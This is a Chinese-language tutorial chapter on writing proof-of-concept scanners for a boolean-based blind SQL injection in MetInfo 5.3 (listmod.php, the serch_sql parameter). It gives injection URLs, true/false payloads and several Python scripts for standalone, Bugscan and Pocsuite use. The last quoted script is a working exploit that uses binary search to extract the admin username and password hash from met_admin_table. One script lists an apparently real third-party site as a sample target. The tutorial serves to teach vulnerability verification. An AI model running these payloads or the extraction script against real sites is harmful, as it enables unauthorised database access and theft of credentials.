《PoC 编写指南》现已经同步至 gitbook,博客和 gitbook 会同步更新,地址: http://poc.evalbug.com/
2.3 基于布尔的盲注的 SQL 注入 PoC 编写 这次我们选择的漏洞为 MetInfo 5.3 /include/global/listmod.php SQL 注入漏洞 。
2.3.1 漏洞分析 想看原文分析的可以点上面的链接去研究,你别看我的标题和原文作者的不一样,内容其实是一样的。
原文中的分析不是太详细,但是呢,我暂时不想详解这个漏洞,后面再看吧,如果有需要的话。
根据原文中分析我们知道了,存在 SQL 注入的文件是 /include/global/listmod.php , 存在注入的变量是 $serch_sql。
在 listmod.php 文件 200 行的位置拼接了 SQL 语句,在拼接 SQL 语句之前,对 $serch_sql 变量进行了初始化操作,但是呢,控制它是否初始化的另一个变量为 $imgproduct。
当这个 $imgproduct 变量非 search 的任意字符的时候,导致 $serch_sql 不能进行初始化,从而可以自定义 $serch_sql 进行注入。
阅读原文后我们得到了目标 URL,
1 http://xxx.com/news/news.php?lang=cn&class2=5&serch_sql=123qweasd&imgproduct=xxxx
存在注入的参数是 search_sql 注入的类型是 Boolean-Based Blind。
2.3.2 漏洞复现 手工复现漏洞对学习可是很有帮助的。不管你信不信,我反正是信了。
本地搭建 MetInfo 环境, 下载地址Metinfo5.3下载地址
读者下载完安装包后,进行安装,具体安装步骤在此处不再赘述。
笔者安装完毕后网站的地址为: http://127.0.0.1/MetInfo/
访问安装后的地址,如果正常访问,那就代表安装成功,我们可以继续后面的步骤了。
这里要强调一点,如果你是 Linux 系统,那么 Web 容器对目录与文件名的大小写是敏感的,笔者建议直接目录在创建的时候用小写
根据原漏洞详情的描述,我们直接访问:
1 http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe&imgproduct=xxxx
注意看图中业界资讯下方的条目
好啦,然后我们给 search_sql 的参数后加一个单引号
1 http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe'&imgproduct=xxxx
图中业界资讯下方一条记录也没有了。
于是我们得出一个结论存在 SQL 注入。那么我们再想一下,我们怎么判断存在 SQL 注入的呢?
先请求正常的页面(也就是上面的第一个链接),然后再请求带单引号的页面(也就是上面的第二个链接),如果两次结果不一样,就判断存在注入了。
看起来是这样的,对吧?实际上呢,上面说的话不是很严谨。
我们验证 SQL 注入的时候,一定一定一定是为了证明我们输入的字符被当作 SQL 指令执行了 。
如果我们只用上面这两个链接来判断存在注入的话,这误报率简直高到没边了。仔细思考一下为什么。
在实际中,是非常之复杂的,我们试想一下,假设有一个网站,它装了一个 WAF, 当你请求第一个没单引号的链接的时候,它返回的是正常的页面,然后,当你请求中带了一个单引号的时候,WAF 给你拦了,然后返回了一个请不要注入的提示的页面出来。
妥妥的误报。是吧?这样我们就得修改一下这个两个请求了。
我们看一下这个请求的 SQL 语句是什么样子的:
1 SELECT * FROM met_news 123qwe where lang='cn' and (recycle='0' or recycle='-1') and (( class1='2' and class2='5' ) ) and displaytype='1' and addtime<='2015-12-29 17:59:20' order by top_ok desc,no_order desc,updatetime desc,id desc LIMIT 0, 8
上面这个你可以通过 tcpdump 抓包来得到,也可以通过修改网站源代码的方式,在查询前打印 SQL 语句,两种方法都可以,看个人喜好了
看到上面的 SQL 语句之后,我直接把对应的 Payload 也贴出来。这里我为了省流量我只贴重点部分
1 2 3 4 # 返回有数据的页面 serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx # 返回无数据的页面 serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx
解释一下后面的 -- x
,这个是 Mysql 的注释,后面的 x 是为了让读者看清楚两个横线后面是有个空格的。
对比两个 Payload, 发现唯一的差别就是 4343=4343 和 4343=4342 了,当然这里的这个数字嘛,随便写的,以前大家都喜欢用 1=1, 1=2 这种来测试,那么有些 WAF 自然也是把这个加入到其特征里面喽,所以建议不要用这种。两者其实功能上都是一样的。
然后要详细说一下为什么要这样请求了。第一个 4343=4343 表达式返回的肯定是为真的,那么是会有数据的,而 4343=4342 这显然是不相等的,所以第二个 SQL 语句肯定是没有数据的。那么我们就可以对比两次请求的结果来判断是不是存在注入了。
思考一下,这与前面说的两种请求方式有什么不同
WAF。没错,我们两次请求的 Payload 也只有数字这里不同,如果说目标有 WAF 的话(比方说这个 WAF 拦的是 where 这个关键字),那么我们两次请求的结果都会是被拦截的页面。
于是我们要请求的两个链接就是:
1 2 3 4 5 # 返回有数据的页面 http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx # 返回无数据的页面 http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx
那意思是说,我们现在就可以编写 PoC 了?打住。如果这个时候急着写 PoC,还是考虑的不够深入。
把视线再移到 GET 参数上面,我们看到除了 serch_sql 和 imgproduct 两个参数之外,还有 lang 和 class2 这两个参数。试着删除掉这两个参数看看结果发现这两个参数其实是必不可少的,同时,也会影响页面访问结果。
OK, 终于可以整理验证的思路了。
访问 /news/ 获取到真实的栏目 id 和 lang
带上返回值为 True 的 Payload 即:serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx
带上返回值一定为 False 的 Payload 即:serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx
比较 2, 3 中的新闻列表处的数据是否有变化,如果 2 有数据而 3 无数据,就证明存在注入。
上面说的这些,都是一些小细节,除了 SQL 注入 Payload 构造的技巧之外,还应该要结合具体的 CMS 的一些特点。这样 PoC 用来批量扫描的时候才不会出太多问题。
既然说到应该结合整个 CMS 具体的一些特点的话,我们观察在访问 /news/index.php 的时候,在正文部分其实是有一部分数据的,那么这两者之前肯定是存在调用的,我们访问下面地址看看:
1 2 3 4 5 # 1. 1234=1234 http://127.0.0.1/MetInfo/news/index.php?serch_sql= 123qwe where 1234=1234 -- x&imgproduct=xxxx # 2. 1234=1235 http://127.0.0.1/MetInfo/news/index.php?serch_sql= 123qwe where 1234=1235 -- x&imgproduct=xxxx
访问上面两个链接之后发现,第一个请求的响应页面中有数据,而第二个请求的响应页面中没有数据
怎么样?这不就达到我们一开始想说的了效果了吗?这时完全可以不考虑 class2 的值是什么了呀。突然觉得之前折腾了那么久全是白费力气,这感觉真酸爽。
所以说洞主给的方案不一定是唯一的,PoC 编写的时候做一下必要的分析还是能减少很多无用功的。
2.3.3 无框架 PoC 编写 我直接上 python 脚本吧,我也没统一处理输入输出什么的,因为这些都不是重点。
代码2_3_1.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import urllib2import redef verify (url) : payloadtrue = "{target}/news/index.php?" \ "serch_sql=%20123qwe%20" \ "where%201234%3D1234%20--%20x&imgproduct=xxxx" .format(target=url) payloadfalse = "{target}/news/index.php?" \ "serch_sql=%20123qwe%20" \ "where%201234%3D1235%20--%20x&imgproduct=xxxx" .format(target=url) try : req = urllib2.Request(payloadtrue) resp = urllib2.urlopen(req) if resp.code != 200 : return data_true = resp.read() if not re.search(r'href=["\' ]shownews\.php\?lang=' , data_true, re.M): return req = urllib2.Request(payloadfalse) resp = urllib2.urlopen(req) if resp.code != 200 : return data_false = resp.read() if re.search(r'href=["\' ]shownews\.php\?lang=' , data_false, re.M): return print "%s is vulnerable!" % url except : pass if __name__ == '__main__' : verify(url="http://127.0.0.1/MetInfo/" )
上面的脚本在注释中已经把判断的逻辑写的很清楚了,也没什么要说的地方。
值得一提的是:我们在判断的时候,选取的判断字符串一定要能区分这两个页面,并且要有一定的通用性。除了以上这些,还应该尽可能的复杂一些,这样在全网扫的时候误报率相对就低了下来。
当然还可以通过返回包的大小来判断,但是如果仅仅靠这个来判断的话,误报率是比较高的。
我们运行一下2_3_1.py
看看效果吧:
1 2 ➜ 2-3 python 2_3_1.py http://127.0.0.1/MetInfo/ is vulnerable!
2.3.4 基于 Bugscan 框架的扫描插件编写 Bugscan 要求是使用官方 sdk 中给出的 curl 来发送 http 请求,我直接贴上代码
代码 2_3_2.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #!/usr/bin/env python # -*- coding: utf-8 -*- import re def assign(service, arg): if service == "metinfo": return True, arg def audit(arg): verify(arg) def verify(url): payloadtrue = "{target}/news/index.php?"\ "serch_sql=%20123qwe%20"\ "where%201234%3D1234%20--%20x&imgproduct=xxxx".format(target=url) payloadfalse = "{target}/news/index.php?"\ "serch_sql=%20123qwe%20"\ "where%201234%3D1235%20--%20x&imgproduct=xxxx".format(target=url) try: code, head, body, errcode, redirect_url = curl.curl2(payloadtrue) if code != 200 or not\ re.search('href=["\' ]shownews\.php\?lang=', body, re.M): return code, head, body, errcode, redirect_url = curl.curl2(payloadfalse) if code != 200 or\ re.search('href=["\' ]shownews\.php\?lang=', body, re.M): return security_hole("%s" % (payloadtrue)) except: pass if __name__ == '__main__': from dummy import * audit(assign('metinfo', 'http://127.0.0.1/MetInfo/')[1])
对比下无框架的 PoC, 是不是觉得基本什么都没变呢,只是换了个入口和修改了一下发送的请求的方式而已。
本地运行一下看下结果:
1 2 ➜ 2-3 python 2_3_2.py [LOG] <hole> http://http://127.0.0.1/MetInfo//news/index.php?serch_sql=%20123qwe%20where%201234%3D1234%20--%20x&imgproduct=xxxx
另外要提的一点,在我写的时候 Bugscan 平台上已经有人编写过这个插件了。
我也顺便把该作者的代码贴到下方,方便读者参考学习(侵权删)。
看之前我还是提一下吧,我简单修正了一下原作者的代码风格。
我们在写代码的时候一定要养成一个好习惯,Python 遵循的是 PEP8 规范, 这样自己看起来也会爽的很多。另外,不要在代码中留下太多无用的调试代码。
代码 2_3_3.py
metinfo v5.3.1 news.php sql盲注 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/usr/bin/env # *_* coding: utf-8 *_* # name: MetInfo V5.3.1 news.php sql注入 # author: yichin # refer: http://www.wooyun.org/bugs/wooyun-2015-0119166 import re def assign(service, arg): if service == 'metinfo': return True, arg def audit(arg): # 获取classid code, head, res, err, _ = curl.curl2(arg + '/news/') if code != 200: return False m = re.search(r'(/news.php\?[a-zA-Z0-9&=]*class[\d]+=[\d]+)[\'"]', res) if m is None: return False # 注入点 # 条件真 payload = arg + 'news' + m.group(1) + '&serch_sql=as%20a%20join%20information_schema.CHARACTER_SETS%20as%20b%20where%20if(ascii(substr(b.CHARACTER_SET_NAME,1,1))>0,1,0)%20limit%201--%20sd&imgproduct=xxxx' # 条件假 verify = arg + 'news' + m.group(1) + '&serch_sql=as%20a%20join%20information_schema.CHARACTER_SETS%20as%20b%20where%20if(ascii(substr(b.CHARACTER_SET_NAME,1,1))>255,1,0)%20limit%201--%20sd&imgproduct=xxxx' code, head, payload_res, err, _ = curl.curl2(payload) if code != 200: return False code, head, verify_res, err, _ = curl.curl2(verify) if code != 200: return False # 判断页面中是否有新闻 pattern = re.compile(r'<h2><a href=[\'"]?[./a-zA-Z0-9_-]*shownews.php\?') if pattern.search(payload_res) and pattern.search(verify_res) is None: security_hole(arg + ' metinfo cms news.php blind sql injection') else: return False if __name__ == '__main__': from dummy import * audit(assign('metinfo', 'http://www.example.com/')[1])
可以看出作者先访问 /news/index.php 取得了 classid,然后再继续测试的。相比之下,代码 2_3_2.py
比2_3_3.py
少发一次请求。
不要小看这一次请求哟,我们平均访问一次网页假设要消耗 100ms, 1s = 1000 ms, 如果我们待扫描的目标有 10w,那么这个小改动会帮你节省接近 3 个小时(100000 * 100 / 1000 / 3600 = 2.78)。
2.3.5 基于 Pocsuite 框架 验证加攻击 Bugscan 是扫描器,我在开篇的时候讲过,扫描器是要求无损扫描的,如果有注入,一定不要去把人家管理员密码给人注出来,但是在 Pocsuite 里面的话,提供了一种带有攻击性质的验证逻辑。
我们先写 PoC 中验证逻辑部分吧,带有攻击性质的这个暂且不表,我会在后面补上的。
代码 2_3_4.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 #!/usr/bin/env python # coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import re class TestPOC(POCBase): vulID = '89367' version = '1.0' author = ['Anonymous'] vulDate = '2015-06-15' createDate = '2016-01-28' updateDate = '2016-01-28' references = ['http://www.seebug.org/vuldb/ssvid-89367'] name = 'MetInfo 5.3 /include/global/listmod.php SQL注入' appPowerLink = 'http://www.metinfo.cn/' appName = 'MetInfo' appVersion = '5.3' vulType = 'SQL injection' desc = ''' search_sql 变量没有过滤直接带入 SQL 语句导致注入, 可以获取管理员的账号密码,造成信息泄露甚至数据库被拖。 Boolean-Based Blind SQL injection ''' samples = ['http://www.lzqidi.com/'] def _attack(self): return self._verify() def _verify(self): result = {} payloadtrue = "{target}/news/index.php?"\ "serch_sql=%20123qwe%20"\ "where%201234%3D1234%20--%20x&imgproduct=xxxx".format( target=self.url) payloadfalse = "{target}/news/index.php?"\ "serch_sql=%20123qwe%20"\ "where%201234%3D1235%20--%20x&imgproduct=xxxx".format( target=self.url) try: resptrue = req.get(payloadtrue) if resptrue.status_code != 200 or not\ re.search( 'href=["\' ]shownews\.php\?lang=', resptrue.content, re.M): return self.parse_output(result) respfalse = req.get(payloadfalse) if respfalse.status_code != 200 or\ re.search( 'href=["\' ]shownews\.php\?lang=', respfalse.content, re.M): return self.parse_output(result) result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = payloadtrue except: pass return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register(TestPOC)
将代码 2_3_4.py
保存到本地后用 Pocsuite 运行测试。
执行结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ➜ 2-3 pocsuite -r 2_3_4.py -u 127.0.0.1/Metinfo/ ,--. ,--. ,---. ,---. ,---.,---.,--.,--`--,-' '-.,---. {1.0.0dev-a2ea8ba} | .-. | .-. | .--( .-'| || ,--'-. .-| .-. : | '-' ' '-' \ `--.-' `' '' | | | | \ --. | |-' `---' `---`----' `----'`--' `--' `----' `--' http://sebug.net [!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal. [*] starting at 15:06:42 [15:06:42] [*] checking 2_3_4 [15:06:42] [*] poc:'2_3_4' target:'127.0.0.1/Metinfo/' [15:06:42] [+] poc-89367 'MetInfo 5.3 /include/global/listmod.php SQL注入' has already been detected against 'http://127.0.0.1/Metinfo/'. [15:06:42] [+] URL : http://127.0.0.1/Metinfo//news/index.php?serch_sql=%20123qwe%20where%201234%3D1234%20--%20x&imgproduct=xxxx +--------------------+----------+--------+-----------+---------+---------+ | target-url | poc-name | poc-id | component | version | status | +--------------------+----------+--------+-----------+---------+---------+ | 127.0.0.1/Metinfo/ | 2_3_4 | 89367 | MetInfo | 5.3 | success | +--------------------+----------+--------+-----------+---------+---------+ success : 1 / 1 [*] shutting down at 15:06:42
读者可以再次对比一下无框架 PoC 和有框架 PoC 的区别。
基本上验证就已经讲完了,有兴趣的可以继续看下面的爆数据部分。
盲注猜数据
暂时不想写怎么爆数据了,后面会更, 我给个思路,读者可以先自己实现一下
思路
我们不要着急,一层一层思考啊
管理员的用户名和密码肯定是在 [a-zA-Z0-9] 这个集合里面的(如果不区分大小写就是 [a-Z0-9])。比如 e10adc3949ba59abbe56e057f20f883e
如果让你人工去猜这个密码字符串,你会怎么猜?这里我们就可以用 if 语句来判断了,如果我们猜对了,就返回 True,猜错了,就返回 False,那么一旦出现了有数据的页面,说明你猜对了。
一次猜整个字符串的那概率相当之小,所以我们可以拆分字符串呀,从第一个字符开始猜,猜到最后一个。那假设你在猜第 1 个字符,它可取的值有 36 个,怎么猜?从 a 一个一个猜到 z ,从 0 猜到 9,肯定有一个满足条件的。
天呐,这样一个一个猜好累啊。有什么办法能提高比较效率呢?这里我们可以使用二分法(也叫折半查找)
举个例子子来说啊,比如我们要猜 1 中给的这个例子的第 1 个字符(e),我先看它是不是在 n 后面(a-z 的中间字母)?不在,好,然后再看是不是在 g 后面(a-n 的中间字母)?不在,那我将 a-g 再从中间分一下,就是字母 d 了,在不在 d 后面呢?在。OK,现在这个字符所在的区间是 d-g(defg),中间字母是 e ,那么这个字符在不在 e 后面呢?不在。于是现在区间又成了 de, 那么再比较一次, 这样就把猜出来是 e 了。
这样对一个字母,平均比较次数是 5 次,这样一来就会节约了大量的时间。你也许会说,呵呵呵,如果我猜的字母是 a ,我用传统的比较法一次就蒙对了呢。少年,那你有考虑过这个字符有可能是 z 吗?
当然 Seebug 平台上已经有人写了这个漏洞的 PoC 了,这个 PoC 里面就运用了二分法思路来猜数据。
Sebug MetInfo 5.3 /include/global/listmod.php SQL注入
我把 PoC 代码也贴上来,让读者参考一下(侵权删):
代码 2_3_5.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 #!/usr/bin/env python # coding: utf-8 import re from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase): vulID = '1902' # vul ID version = '1' author = ['ricter'] vulDate = '2015-06-15' createDate = '2015-06-16' updateDate = '2015-06-16' references = ['http://wooyun.org/bugs/wooyun-2015-0119166'] name = 'MetInfo 5.3 /include/global/listmod.php SQL注入漏洞 POC' appPowerLink = 'http://www.metinfo.cn' appName = 'MetInfo' appVersion = '5.3' vulType = 'SQL Injection' desc = ''' 变量直接带入 SQL 语句导致注入,可以获取管理员的账号密码,造成 信息泄露。 ''' samples = [''] def get_flag(self, payload, offset, opt, char): payload = ('as a left join met_admin_table as b on 1 where ord(substr(' '%s,%s,1))%s%s and b.id = 1 limit 1#' % (payload, offset, opt, char)) params = { 'lang': 'cn', 'class2': 5, 'imgproduct': 'z', 'serch_sql': payload } response = req.get('%s/news/news.php' % self.url, params=params) return 'shownews.php' in response.content def fetch_data(self, payload, offset): low, height = 0, 255 while low <= height: mid = (low + height) / 2 if self.get_flag(payload, offset, '>', mid): if self.verbose: print '>', mid low = mid + 1 elif self.get_flag(payload, offset, '=', mid): if self.verbose: print '=', mid return mid else: if self.verbose: print '<', mid height = mid - 1 return 0 def _attack(self): result = {} username, password = [], [] offset = 0 while 1: offset += 1 data = self.fetch_data('b.admin_id', offset) if not data: break username.append(chr(data)) offset = 0 while 1: offset += 1 data = self.fetch_data('b.admin_pass', offset) if not data: break password.append(chr(data)) if len(password) == 32 and username: result['AdminInfo'] = {} result['AdminInfo']['Username'] = ''.join(username) result['AdminInfo']['Password'] = ''.join(password) return self.parse_attack(result) def _verify(self): return self._attack() def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register(TestPOC)
要写一个没有人工参与的,尽可能的准确的攻击脚本还是略麻烦的,与其是自己实现,还不如你直接换 sqlmap 去更方便一些。
这里我不禁想提几个问题出来
什么是 Attack?
Attack 中到底要达到什么样子的效果呢?注出 CMS 的管理员账号密码?注几个?注出数据库连接账号?如果有写文件权限是不是要写 shell 上去呢?写了 shell 要不试试提权吧?提了权要不再放个后门搞个免杀?……
如果对方的表前缀不是 met_ 呢?
我就是想太多,这个 Attack 其实在实际当中并没什么太大的用处。
2.3.6 总结 总结一下这节学到的东西
布尔类型的 SQL 盲注,一般通过比较返回页面的数据变化来判断
SQL 注入检测是证明指令被执行了
编写 PoC 如果能结合 CMS 的具体特点,会通用,提高性能
适当的应用一些算法,可以在幅度提高检测效率,节约时间
不要用默认的表前缀在一定程度上可以提高被黑的门槛
2016/01/27 感谢 SuperCheng 提供原始稿件